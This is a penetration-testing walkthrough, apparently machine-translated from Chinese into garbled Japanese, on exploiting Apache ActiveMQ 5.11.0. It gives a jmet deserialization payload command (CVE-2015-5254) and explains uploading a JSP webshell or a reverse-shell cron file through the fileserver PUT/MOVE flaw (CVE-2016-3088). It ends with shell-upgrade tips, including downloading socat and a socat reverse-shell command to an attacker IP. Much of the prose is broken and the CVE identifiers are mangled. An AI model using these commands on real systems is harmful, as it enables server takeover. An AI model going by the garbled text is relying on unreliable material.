ApacheのActiveMQの脆弱性ノート

0x00の概要

Apacheは米国のApache(アパッチ)ソフトウェア財団は、オープンソースのメッセージングミドルウェアのセットを開発され、それには、Java Message Serviceの、クラスター、春のフレームワークをサポートしています。 ActiveMQ

0x01の環境を構築します

本明細書で使用する場合、apachemq版:5.11.0
ダウンロード:http://activemq.apache.org/activemq-5110-release.html
アンパック

  ./bin/activemq start 启动 netstat -ntlp|grep 8161 查看是否启动成功(8161为默认端口)

1.png

0×02のデシリアライゼーションの脆弱性(CVE-2015から5254)

ApacheのActiveMQの5.13.0バージョン5.xのセキュリティ脆弱性の前に、この脆弱性は、プロキシクラスの順序を限定するものではなく、プログラムから得ることができます。リモートの攻撃者は特別なシーケンスを使用することができるJava Message Service(JMS)ObjectMessage任意のコードを実行するために、この脆弱性を使用してオブジェクトを。

8161はデフォルトのActiveMQでweb管理端口、61616デフォルトのActiveMQ 消息队列端口

使用jmet脆弱性が悪用し、jmetダウンロード:
https://github.com/matthiaskaiser/jmet/releases

jmet建設イベントイベント

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "payload" -Yp ROME 192.168.124.128 61616

エラー:
2.png

jmetでは、ディレクトリの作成externalにフォルダを

シェル、デシリアライズメッセージキューのリバウンドに送信されたコンフィギュレーション・ペイロード
3.png

ニュース:

4.png

あなたはメッセージをトリガするためにクリックすると:
5.png

任意のファイルの脆弱性(CVE-2016から3088)を書く0X03

该漏洞影响Apache ActiveMQ 5.x ~ 5.14.0,但在5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应用(可以在conf/jetty.xml中开启之)。在5.14.0版本以后,彻底删除了fileserver应用。
ActiveMQ 中的 FileServer 服务允许用户通过 HTTP PUT 方法上传文件到指定目录。FileServer是储存文件的接口。FileServer支持写入文件(不解析jsp),但是支持移动文件(Move)我们可以将jsp的文件PUT到FileServer下然后再通过Move指令移动到可执行目录下访问。
使用PUT方法进行上传测试:
6.png

7.png

成功访问说明文件已经put上去,我们可以直接put jsp小马/大马 移动到可解析目录就可以getshell了。
webapps/api/ 或者 webapps/admin/ 下都可以解析jsp。但是要移动文件到可解析目录,需要获取绝对路径
这里介绍两种获取绝对路径的方法:
1.访问http://ip:8161/admin/test/systemProperties.jsp

8.png

2.构造错误上传路径可爆出绝对路径(此版本未成功,其他版本可自行测试)

上传Webshell:
9.png

根据获取的绝对路径,移动到Web目录下的/root/apache-activemq-5.11.0/webapps/admin/test.jsp
10.png

访问shell(需登录,默认密码 admin/admin)
11.png

同理也可写入ssh key进行公钥登录

写入corntab 反弹shell(需要activemq 以root权限运行)
12.png

移动到/etc/cron.d/root
13.png

监听接收shell

14.png

crontab定时任务
文件写入到 /etc/crontab.d/

 minute   hour   day   month   week   command     顺序:分     * * * * * command 代表每分钟执行一次

0x04のTIPS

通常、我々はリバウンドの殻をテストし、操作が時々コマンドには、vimの、何のタブをシェルを失っていない、ととてもフレンドリー意味間違えた、非常に簡単です!
以下の完璧なシェルのシェアを得るためのいくつかの方法:
1.使用するpython ptyモジュールは、端末は、擬似を生成することがあり
、我々はシェルの実行を立ち直る受信したときに

 python -c 'import pty; pty.spawn("/bin/bash")'

15.png

2. socatに関する使用
の強力なツールとして、NCのようなsocatに関する、TCP接続は、完全な端末を確立し、被害者のサーバーがインストールされている場合、socatあなたは、シェルをバウンスするためにそれを使用することができます。以下のコマンドでインストールされていない場合:

  wget https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat;chmod +x socat

聴く:

 socat file:`tty`,raw,echo=0 tcp-listen:4444

被害者:

 socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ip:4444

16.png

3.の魔法の追加netcat
、我々は最初の方法パイソンPTY方法に従ってシェルを取得する最初の一歩を
17.png

キーの組み合わせ「に続いてCtrl-Z、」バックシェルに行きます。
現在の端末やstyy情報を確認します。
18.png

用語のタイプのために必要な情報(xterm)と現在のsttyサイズ(行33、列191)は
、シェルがバックグラウンドで実行を継続する原因となる現在STTY、オリジナルタイプの設定、入力された文字をエコーするように指示

19.png

「とfg」フロントシェルはによっていう「resetターミナルをリセット」

20.png

最後に、上記の情報は、シェル端末タイプおよび収集するために設けられているsttyサイズ。
21.png

参考リンクします。https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys

おすすめ

転載: www.cnblogs.com/Fluorescence-tjy/p/11222069.html